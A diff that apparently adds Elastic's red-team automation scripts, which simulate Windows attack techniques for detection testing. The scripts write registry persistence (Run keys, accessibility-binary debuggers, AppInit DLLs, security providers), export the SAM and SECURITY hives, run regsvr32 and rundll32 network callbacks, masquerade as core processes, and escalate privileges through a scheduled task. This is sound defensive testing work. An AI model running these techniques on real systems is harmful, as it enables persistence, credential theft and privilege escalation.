to office test path: + subkey = "Software\\Microsoft\\Office Test\\Special\\Perf" + common.write_reg(common.HKCU, subkey, "", dll_location) + common.write_reg(common.HKLM, subkey, "", dll_location) + + # winreg = common.get_winreg() + # set_sleep_clear_key(winreg.HKEY_CURRENT_USER, subkey, "", dll_location, winreg.REG_SZ, 3) + # set_sleep_clear_key(winreg.HKEY_LOCAL_MACHINE, subkey, "", dll_location, winreg.REG_SZ, 3) + + # Turn on Office 2010 WWLIBcxm persistence + subkey = "Software\\Microsoft\\Office\\14.0\\Word" + common.write_reg(common.HKCU, subkey, "CxmDll", 1, common.DWORD) + + # set_sleep_clear_key(winreg.HKEY_CURRENT_USER, subkey, "CxmDll", 1, winreg.REG_DWORD, 0) + + return common.SUCCESS + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/persistent_scripts.py b/rta/persistent_scripts.py new file mode 100644 index 000000000..4b8d46074 --- /dev/null +++ b/rta/persistent_scripts.py @@ -0,0 +1,62 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Persistent Scripts +# RTA: persistent_scripts.py +# ATT&CK: T1064 (Scripting), T1086 (PowerShell) + +import os +import time + +from . import common + +VBS = common.get_path("bin", "persistent_script.vbs") +NAME = "rta-vbs-persistence" + + +@common.requires_os(common.WINDOWS) +@common.dependencies(common.PS_EXEC, VBS) +def main(): + common.log("Persistent Scripts") + + if common.check_system(): + common.log("Must be run as a non-SYSTEM user", log_type="!") + return 1 + + # Remove any existing profiles + user_profile = os.environ['USERPROFILE'] + log_file = os.path.join(user_profile, NAME + ".log") + + # Remove log file if exists + common.remove_file(log_file) + + common.log("Running VBS") + common.execute(["cscript.exe", VBS]) + + # Let the script establish persistence, then read the log file back + time.sleep(5) + common.print_file(log_file) + common.remove_file(log_file) + + # Now trigger a 'logon' event which causes persistence to run + common.log("Simulating user logon and loading of profile") + # common.execute(["taskkill.exe", "/f", "/im", "explorer.exe"]) + # time.sleep(2) + + common.execute(["C:\\Windows\\System32\\userinit.exe"], wait=True) + common.execute(["schtasks.exe", "/run", "/tn", NAME]) + + # Wait for the "logon" to finish + time.sleep(30) + common.print_file(log_file) + + # Now delete the user profile + common.log("Cleanup", log_type="-") + common.remove_file(log_file) + common.execute(["schtasks.exe", "/delete", "/tn", NAME, "/f"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/port_monitor.py b/rta/port_monitor.py new file mode 100644 index 000000000..1d0d2ac90 --- /dev/null +++ b/rta/port_monitor.py @@ -0,0 +1,27 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Privilege Escalation via Port Monitor Registration +# RTA: port_monitor.py +# ATT&CK: T1013 +# Description: Drops dummy DLL to Monitors registry path as non-system user, which would be executed with SYSTEM privs. + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Writing registry key and dummy dll") + + key = "System\\CurrentControlSet\\Control\\Print\\Monitors\\blah" + value = "test" + dll = "test.dll" + + with common.temporary_reg(common.HKLM, key, value, dll): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/powershell_args.py b/rta/powershell_args.py new file mode 100644 index 000000000..abaaeda16 --- /dev/null +++ b/rta/powershell_args.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Powershell with Suspicious Arguments +# RTA: powershell_args.py +# ATT&CK: T1140 +# Description: Calls PowerShell with suspicious command line arguments. + +import base64 +import os + +from . import common + + +def encode(command): + return base64.b64encode(command.encode('utf-16le')) + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("PowerShell Suspicious Commands") + temp_script = os.path.abspath("tmp.ps1") + + # Create an empty script + with open(temp_script, "w") as f: + f.write("whoami.exe\nexit\n") + + powershell_commands = [ + ['powershell.exe', '-ExecutionPol', 'Bypass', temp_script], + ['powershell.exe', 'iex', 'Get-Process'], + ['powershell.exe', '-ec', encode('Get-Process' + ' ' * 1000)], + ] + + for command in powershell_commands: + common.execute(command) + + common.remove_file(temp_script) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/powershell_base64_gzip.py b/rta/powershell_base64_gzip.py new file mode 100644 index 000000000..c64de3ca5 --- /dev/null +++ b/rta/powershell_base64_gzip.py @@ -0,0 +1,23 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: PowerShell with base64/gzip +# RTA: powershell_base64_gzip.py +# ATT&CK: T1140 +# Description: Calls PowerShell with command-line that contains base64/gzip + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("PowerShell with base64/gzip") + + command = 'powershell.exe -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(aaa)' # noqa: E501 + common.execute(command) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/powershell_from_script.py b/rta/powershell_from_script.py new file mode 100644 index 000000000..9e82b408f --- /dev/null +++ b/rta/powershell_from_script.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: PowerShell Launched from Script +# RTA: powershell_from_script.py +# signal.rule.name: Windows Script Executing PowerShell +# ATT&CK: T1064, T1192, T1193 +# Description: Creates a javascript file that will launch powershell. + +import os +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + # Write script + script_file = os.path.abspath("launchpowershell.vbs") + script = """Set objShell = CreateObject("Wscript.shell") + objShell.run("powershell echo 'Doing evil things...'; sleep 3") + """ + with open(script_file, 'w') as f: + f.write(script) + + # Execute script + for proc in ["wscript", "cscript"]: + common.execute([proc, script_file]) + time.sleep(3) + + # Clean up + common.remove_file(script_file) + + return common.SUCCESS + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/process_double_extension.py b/rta/process_double_extension.py new file mode 100644 index 000000000..22c7727a1 --- /dev/null +++ b/rta/process_double_extension.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Double Process Extension +# RTA: process_double_extension.py +# ATT&CK: T1036 +# Description: Create and run a process with a double extension. + +from . import common + +MY_APP = common.get_path("bin", "myapp_x64.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MY_APP) +def main(): + anomalies = [ + "test.txt.exe" + ] + + for path in anomalies: + common.log("Masquerading process as %s" % path) + common.copy_file(MY_APP, path) + common.execute([path]) + common.remove_file(path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/process_extension_anomalies.py b/rta/process_extension_anomalies.py new file mode 100644 index 000000000..5618df1d8 --- /dev/null +++ b/rta/process_extension_anomalies.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Executable with Unusual Extensions +# RTA: process_extension_anomalies.py +# ATT&CK: T1036 +# Description: Creates processes with anomalous extensions + +from . import common + +MY_APP = common.get_path("bin", "myapp.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MY_APP) +def main(): + anomalies = [ + "bad.pif", + "evil.cmd", + "evil.gif", + "bad.pdf", + "suspicious.bat", + "hiding.vbs", + "evil.xlsx" + ] + + for path in anomalies: + common.log("Masquerading python as %s" % path) + common.copy_file(MY_APP, path) + common.execute([path]) + common.remove_file(path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/process_name_masquerade.py b/rta/process_name_masquerade.py new file mode 100644 index 000000000..2cfd65039 --- /dev/null +++ b/rta/process_name_masquerade.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Windows Core Process Masquerade +# RTA: process_name_masquerade.py +# signal.rule.name: Unusual Parent-Child Relationship +# ATT&CK: T1036 +# Description: Creates several processes which mimic core Windows process names but that are not those executables. + +import os + +from . import common + +MY_APP = common.get_path("bin", "myapp.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MY_APP) +def main(): + masquerades = [ + "svchost.exe", + "lsass.exe", + "services.exe", + "csrss.exe", + "smss.exe", + "wininit.exe", + "explorer.exe", + ] + + for name in masquerades: + path = os.path.abspath(name) + common.copy_file(MY_APP, path) + common.execute(path, timeout=3, kill=True) + common.remove_file(path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/recycle_bin_process.py b/rta/recycle_bin_process.py new file mode 100644 index 000000000..656f13a2b --- /dev/null +++ b/rta/recycle_bin_process.py @@ -0,0 +1,54 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Run Process from the Recycle Bin +# RTA: recycle_bin_process.py +# ATT&CK: T1158 +# Description: Executes mock malware from the "C:\Recycler\" and "C:\$RECYCLE.BIN\" subdirectories. + +import os +import time + +from . import common + +RECYCLE_PATHS = ["C:\\$Recycle.Bin", "C:\\Recycler"] +TARGET_APP = common.get_path("bin", "myapp.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(TARGET_APP, common.CMD_PATH) +def main(): + common.log("Execute files from the Recycle Bin") + target_dir = None + for recycle_path in RECYCLE_PATHS: + if os.path.exists(recycle_path): + target_dir = common.find_writeable_directory(recycle_path) + if target_dir: + break + + else: + common.log("Could not find a writeable directory in the recycle bin") + exit(1) + + commands = [ + [TARGET_APP], + [common.CMD_PATH, "/c", "echo hello world"], + ] + + common.log("Running commands from recycle bin in %s" % target_dir) + for command in commands: # type: list[str] + source_path = command[0] + arguments = command[1:] + + target_path = os.path.join(target_dir, "recycled_process.exe") + common.copy_file(source_path, target_path) + arguments.insert(0, target_path) + common.execute(arguments) + time.sleep(0.5) + common.remove_file(target_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/registry_hive_export.py b/rta/registry_hive_export.py new file mode 100644 index 000000000..2a8505b62 --- /dev/null +++ b/rta/registry_hive_export.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Export Registry Hives +# RTA: registry_hive_export.py +# ATT&CK: TBD +# Description: Exports the SAM, SECURITY and SYSTEM hives - useful in credential harvesting and discovery attacks. + +import os + +from . import common + +REG = "reg.exe" + + +@common.requires_os(common.WINDOWS) +def main(): + for hive in ["sam", "security", "system"]: + filename = os.path.abspath("%s.reg" % hive) + common.log("Exporting %s hive to %s" % (hive, filename)) + common.execute([REG, "save", "hkey_local_machine\\%s" % hive, filename]) + common.remove_file(filename) + + common.execute([REG, "save", "hklm\\%s" % hive, filename]) + common.remove_file(filename) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/registry_persistence_create.py b/rta/registry_persistence_create.py new file mode 100644 index 000000000..96a6e967b --- /dev/null +++ b/rta/registry_persistence_create.py @@ -0,0 +1,97 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Registry persistence creation +# RTA: registry_persistence_create.py +# signal.rule.name: Local Service Commands +# signal.rule.name: Potential Modification of Accessibility Binaries +# ATT&CK: T1015, T1103 +# Description: Creates registry persistence for mock malware in Run and RunOnce keys, Services, NetSH and debuggers. + +# TODO: Split into multiple files +import time + +from . import common + +TARGET_APP = common.get_path("bin", "myapp.exe") + + +def pause(): + time.sleep(0.5) + + +@common.requires_os(common.WINDOWS) +@common.dependencies(TARGET_APP) +def main(): + common.log("Suspicious Registry Persistence") + winreg = common.get_winreg() + + for hive in (common.HKLM, common.HKCU): + common.write_reg(hive, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\", "RunOnceTest", TARGET_APP) + common.write_reg(hive, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "RunTest", TARGET_APP) + + # create Services subkey for "ServiceTest" + common.log("Creating ServiceTest registry key") + hklm = winreg.HKEY_LOCAL_MACHINE + hkey = winreg.CreateKey(hklm, "System\\CurrentControlSet\\Services\\ServiceTest\\") + + # create "ServiceTest" data values + common.log("Updating ServiceTest metadata") + winreg.SetValueEx(hkey, "Description", 0, winreg.REG_SZ, "A fake service") + winreg.SetValueEx(hkey, "DisplayName", 0, winreg.REG_SZ, "ServiceTest Service") + winreg.SetValueEx(hkey, "ImagePath", 0, winreg.REG_SZ, "c:\\ServiceTest.exe") + winreg.SetValueEx(hkey, "ServiceDLL", 0, winreg.REG_SZ, "C:\\ServiceTest.dll") + + # modify contents of ServiceDLL and ImagePath + common.log("Modifying ServiceTest binary") + winreg.SetValueEx(hkey, "ImagePath", 0, winreg.REG_SZ, "c:\\ServiceTestMod.exe") + winreg.SetValueEx(hkey, "ServiceDLL", 0, winreg.REG_SZ, "c:\\ServiceTestMod.dll") + + hkey.Close() + common.pause() + + # delete Service subkey for "ServiceTest" + common.log("Removing ServiceTest", log_type="-") + hkey = winreg.CreateKey(hklm, "System\\CurrentControlSet\\Services\\") + winreg.DeleteKeyEx(hkey, "ServiceTest") + + hkey.Close() + common.pause() + + # Additional persistence + common.log("Adding AppInit DLL") + windows_base = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\" + common.write_reg(common.HKLM, windows_base, "AppInit_Dlls", "evil.dll", restore=True, pause=True) + + common.log("Adding AppCert DLL") + appcertdlls_key = "System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls" + common.write_reg(common.HKLM, appcertdlls_key, "evil", "evil.dll", restore=True, pause=True) + + debugger_targets = [ + "normalprogram.exe", "sethc.exe", "utilman.exe", "magnify.exe", + "narrator.exe", "osk.exe", "displayswitch.exe", "atbroker.exe" + ] + + for victim in debugger_targets: + common.log("Registering Image File Execution Options debugger for %s -> %s" % (victim, TARGET_APP)) + base_key = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s" % victim + common.write_reg(common.HKLM, base_key, "Debugger", TARGET_APP, restore=True) + + # create new NetSh key value + common.log("Adding a new NetSh Helper DLL") + key = "Software\\Microsoft\\NetSh" + common.write_reg(common.HKLM, key, "BadHelper", "c:\\windows\\system32\\BadHelper.dll") + + # modify the list of SSPs + common.log("Adding a new SSP to the list of security packages") + key = "System\\CurrentControlSet\\Control\\Lsa" + common.write_reg(common.HKLM, key, "Security Packages", ["evilSSP"], common.MULTI_SZ, append=True, pause=True) + + hkey.Close() + pause() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/registry_rdp_enable.py b/rta/registry_rdp_enable.py new file mode 100644 index 000000000..5731e0d87 --- /dev/null +++ b/rta/registry_rdp_enable.py @@ -0,0 +1,29 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Enable RDP Through Registry +# RTA: registry_rdp_enable.py +# signal.rule.name: Potential Modification of Accessibility Binaries +# ATT&CK: T1076 +# Description: Identifies registry write modification to enable RDP access. + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Enabling RDP Through Registry") + + # get the current value + key = "System\\CurrentControlSet\\Control\\Terminal Server" + value = "fDenyTSConnections" + + with common.temporary_reg(common.HKLM, key, value, 1, common.DWORD): + # while temporarily disabled, re-enable the service + common.write_reg(common.HKLM, key, value, 0, common.DWORD, restore=False) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/regsvr32_scrobj.py b/rta/regsvr32_scrobj.py new file mode 100644 index 000000000..ba1e035cf --- /dev/null +++ b/rta/regsvr32_scrobj.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: RegSvr32 Backdoor with .sct Files +# RTA: regsvr32_scrobj.py +# ATT&CK: T1121, T1117, T1064 +# Description: Loads a .sct network callback with RegSvr32 + +from . import common + + +@common.requires_os(common.WINDOWS) +@common.dependencies(common.get_path("bin", "notepad.sct")) +def main(): + common.log("RegSvr32 with .sct backdoor") + server, ip, port = common.serve_web() + common.clear_web_cache() + + uri = 'bin/notepad.sct' + url = 'http://%s:%d/%s' % (ip, port, uri) + + common.execute(["regsvr32.exe", "/u", "/n", "/s", "/i:%s" % url, "scrobj.dll"]) + common.log("Killing all notepads to cleanup", "-") + common.execute(["taskkill", "/f", "/im", "notepad.exe"]) + + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/rundll32_inf_callback.py b/rta/rundll32_inf_callback.py new file mode 100644 index 000000000..91f266b13 --- /dev/null +++ b/rta/rundll32_inf_callback.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: RunDll32 with .inf Callback +# RTA: rundll32_inf_callback.py +# signal.rule.name: Local Service Commands +# signal.rule.name: Potential Modification of Accessibility Binaries +# ATT&CK: T1105 +# Description: Loads RunDll32 with a suspicious .inf file that makes a local http GET + +import time + +from . import common + +INF_FILE = common.get_path("bin", "script_launch.inf") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(INF_FILE) +def main(): + # http server will terminate on main thread exit + # if daemon is True + common.log("RunDLL32 with Script Object and Network Callback") + server, ip, port = common.serve_web() + callback = "http://%s:%d" % (ip, port) + common.clear_web_cache() + + common.patch_regex(INF_FILE, common.CALLBACK_REGEX, callback) + + rundll32 = "rundll32.exe" + dll_entrypoint = "setupapi.dll,InstallHinfSection" + common.execute([rundll32, dll_entrypoint, "DefaultInstall", "128", INF_FILE], shell=False) + + time.sleep(1) + common.log("Cleanup", log_type="-") + common.execute(["taskkill", "/f", "/im", "notepad.exe"]) + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/rundll32_javascript_callback.py b/rta/rundll32_javascript_callback.py new file mode 100644 index 000000000..71bc347fb --- /dev/null +++ b/rta/rundll32_javascript_callback.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: RunDLL32 Javascript Callback +# RTA: rundll32_javascript_callback.py +# signal.rule.name: Local Service Commands +# signal.rule.name: Potential Modification of Accessibility Binaries +# ATT&CK: T1085 +# Description: Executes javascript code with an AJAX call via RunDll32.exe + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("RunDLL32 with Javascript Callback") + server, ip, port = common.serve_web() + common.clear_web_cache() + + url = "http://%s:%d" % (ip, port) + rundll32 = 'rundll32.exe' + js = """ + 'javascript:"\..\mshtml,RunHTMLApplication ";' + 'var%20xhr=new%20ActiveXObject("Msxml2.XMLHttp.6.0");,' + 'xhr.open("GET", "{url}",false);xhr.send();' + """.format(url=url) + packed_js = ''.join(s.strip() for s in js.splitlines()) + + common.execute([rundll32, packed_js]) + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/schtask_escalation.py b/rta/schtask_escalation.py new file mode 100644 index 000000000..0d5fbe7a8 --- /dev/null +++ b/rta/schtask_escalation.py @@ -0,0 +1,54 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Scheduled Task Privilege Escalation +# RTA: schtask_escalation.py +# signal.rule.name: Local Scheduled Task Commands +# signal.rule.name: Whoami Process Activity +# signal.rule.name: Svchost spawning Cmd +# signal.rule.name: Net command via SYSTEM account +# ATT&CK: T1053 + +import os +import time + +from . import common + + +def schtasks(*args, **kwargs): + return common.execute(['schtasks.exe'] + list(args), **kwargs) + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Scheduled Task Privilege Escalation") + + task_name = 'test-task-rta' + file_path = os.path.abspath('task.log') + command = "cmd.exe /c whoami.exe > " + file_path + + # Delete the task if it exists + code, output = schtasks('/query', '/tn', task_name) + if code == 0: + schtasks('/delete', '/tn', task_name, '/f') + + code, output = schtasks('/create', '/tn', task_name, '/ru', 'system', '/tr', command, '/sc', 'onlogon') + if code != 0: + common.log("Error creating task", log_type="!") + return + + # Run the task and grab the file + code, output = schtasks('/run', '/tn', task_name) + if code == 0: + time.sleep(1) + common.print_file(file_path) + time.sleep(1) + common.remove_file(file_path) + + schtasks('/delete', '/tn', task_name, '/f') + + +if __name__ == "__main__": + main() diff --git a/rta/scrobj_com_hijack.py b/rta/scrobj_com_hijack.py new file mode 100644 index 000000000..7dd0d7b5f --- /dev/null +++ b/rta/scrobj_com_hijack.py @@ -0,0 +1,27 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: COM Hijack via Script Object +# RTA: scrobj_com_hijack.py +# ATT&CK: T1122 +# Description: Modifies the Registry to create a new user-defined COM broker, "scrobj.dll". + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + key = "SOFTWARE\\Classes\\CLSID\\{00000000-0000-0000-0000-0000DEADBEEF}" + subkey = "InprocServer32" + value = "" + scrobj = "C:\\WINDOWS\\system32\\scrobj.dll" + key_path = key + "\\" + subkey + + with common.temporary_reg(common.HKCU, key_path, value, scrobj, pause=True): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/secure_file_deletion.py b/rta/secure_file_deletion.py new file mode 100644 index 000000000..adc657096 --- /dev/null +++ b/rta/secure_file_deletion.py @@ -0,0 +1,30 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import os +import subprocess +import tempfile + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + temp_path = os.path.join(tempfile.gettempdir(), os.urandom(16).encode('hex')) + sdelete_path = common.get_path("bin", 'sdelete.exe') + + try: + # Create a temporary file and close handles so it can be deleted + with open(temp_path, 'wb') as f_out: + f_out.write('A') + + subprocess.check_call([sdelete_path, '/accepteula', temp_path]) + + finally: + common.remove_file(temp_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/settingcontentms_files.py b/rta/settingcontentms_files.py new file mode 100644 index 000000000..fe71224a0 --- /dev/null +++ b/rta/settingcontentms_files.py @@ -0,0 +1,27 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Abusing SettingContent-ms Files +# RTA: settingcontentms_files.py +# signal.rule.name: Potential Modification of Accessibility Binaries +# signal.rule.name: Local Service Commands +# ATT&CK: T1193, T1204, T1064 +# Description: SettingContent-ms file written to specific path or by risky process + +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + # Write to AppData\Local\ + common.execute(['cmd', '/c', 'echo', 'test', '>', '%APPDATA%\\test.SettingContent-ms']) + time.sleep(1) + common.execute(['cmd', '/c', 'del', '%APPDATA%\\test.SettingContent-ms']) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/sevenzip_encrypted.py b/rta/sevenzip_encrypted.py new file mode 100644 index 000000000..58db54130 --- /dev/null +++ b/rta/sevenzip_encrypted.py @@ -0,0 +1,56 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Encrypting files with 7zip +# RTA: sevenzip_encrypted.py +# ATT&CK: T1022 +# Description: Uses "bin\.exe" to perform encryption of archives and archive headers. + +import base64 +import os +import sys + +from . import common + +SEVENZIP = common.get_path("bin", "7za.exe") + + +def create_exfil(path=os.path.abspath("secret_stuff.txt")): + common.log("Writing dummy exfil to %s" % path) + with open(path, 'wb') as f: + f.write(base64.b64encode(b"This is really secret stuff\n" * 100)) + return path + + +@common.requires_os(common.WINDOWS) +@common.dependencies(SEVENZIP) +def main(password="s0l33t"): + # create 7z.exe with not-7zip name, and exfil + svnz2 = os.path.abspath("a.exe") + common.copy_file(SEVENZIP, svnz2) + exfil = create_exfil() + + exts = ["7z", "zip", "gzip", "tar", "bz2", "bzip2", "xz"] + out_jpg = os.path.abspath("out.jpg") + + for ext in exts: + # Write archive for each type + out_file = os.path.abspath("out." + ext) + common.execute([svnz2, "a", out_file, "-p" + password, exfil], mute=True) + common.remove_file(out_file) + + # Write archive for each type with -t flag + if ext == "bz2": + continue + + common.execute([svnz2, "a", out_jpg, "-p" + password, "-t" + ext, exfil], mute=True) + common.remove_file(out_jpg) + + common.execute([SEVENZIP, "a", out_jpg, "-p" + password, exfil], mute=True) + common.remove_files(exfil, svnz2, out_jpg) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/shortcut_file_suspicious_process.py b/rta/shortcut_file_suspicious_process.py new file mode 100644 index 000000000..7ba2e7aff --- /dev/null +++ b/rta/shortcut_file_suspicious_process.py @@ -0,0 +1,25 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Shortcut File Suspicious Process +# RTA: shortcut_file_suspicious_process.py +# ATT&CK: T1023,T1204,T1193,T1192 +# Description: Create a .lnk file using cmd.exe + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Writing dummy shortcut file") + shortcut_path = 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\evil.lnk' + common.execute(['cmd', '/c', 'echo', 'dummy_shortcut', '>', shortcut_path]) + + common.log("Deleting dummy shortcut file") + common.remove_file(shortcut_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/sip_provider.py b/rta/sip_provider.py new file mode 100644 index 000000000..607896f44 --- /dev/null +++ b/rta/sip_provider.py @@ -0,0 +1,63 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: SIP Provider Modification +# RTA: sip_provider.py +# ATT&CK: TBD +# Description: Registers a mock SIP provider to bypass code integrity checks and execute mock malware. + +from . import common + + +CRYPTO_ROOT = "SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 0" +VERIFY_DLL_KEY = "%s\\CryptSIPDllVerifyIndirectData\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" % CRYPTO_ROOT +GETSIG_KEY = "%s\\CryptSIPDllGetSignedDataMsg\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" % CRYPTO_ROOT + + +def register_sip_provider(dll_path, verify_function, getsig_function): + winreg = common.get_winreg() + hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, VERIFY_DLL_KEY) + + common.log("Setting verify dll path: %s" % dll_path) + winreg.SetValueEx(hkey, "Dll", 0, winreg.REG_SZ, dll_path) + + common.log("Setting verify function name: %s" % verify_function) + winreg.SetValueEx(hkey, "FuncName", 0, winreg.REG_SZ, verify_function) + + hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, GETSIG_KEY) + + common.log("Setting getsig dll path: %s" % dll_path) + winreg.SetValueEx(hkey, "Dll", 0, winreg.REG_SZ, dll_path) + + common.log("Setting getsig function name: %s" % getsig_function) + winreg.SetValueEx(hkey, "FuncName", 0, winreg.REG_SZ, getsig_function) + + +if common.is_64bit(): + SIGCHECK = common.get_path("bin", "sigcheck64.exe") + TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider64.dll") +else: + SIGCHECK = common.get_path("bin", "sigcheck32.exe") + TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider32.dll") + +TARGET_APP = common.get_path("bin", "myapp.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP) +def main(): + common.log("Registering SIP provider") + register_sip_provider(TRUST_PROVIDER_DLL, "VerifyFunction", "GetSignature") + + common.log("Launching sigcheck") + common.execute([SIGCHECK, "-accepteula", TARGET_APP]) + + common.log("Cleaning up", log_type="-") + wintrust = "C:\\Windows\\System32\\WINTRUST.dll" + register_sip_provider(wintrust, "CryptSIPVerifyIndirectData", "CryptSIPGetSignedDataMsg") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/smb_connection.py b/rta/smb_connection.py 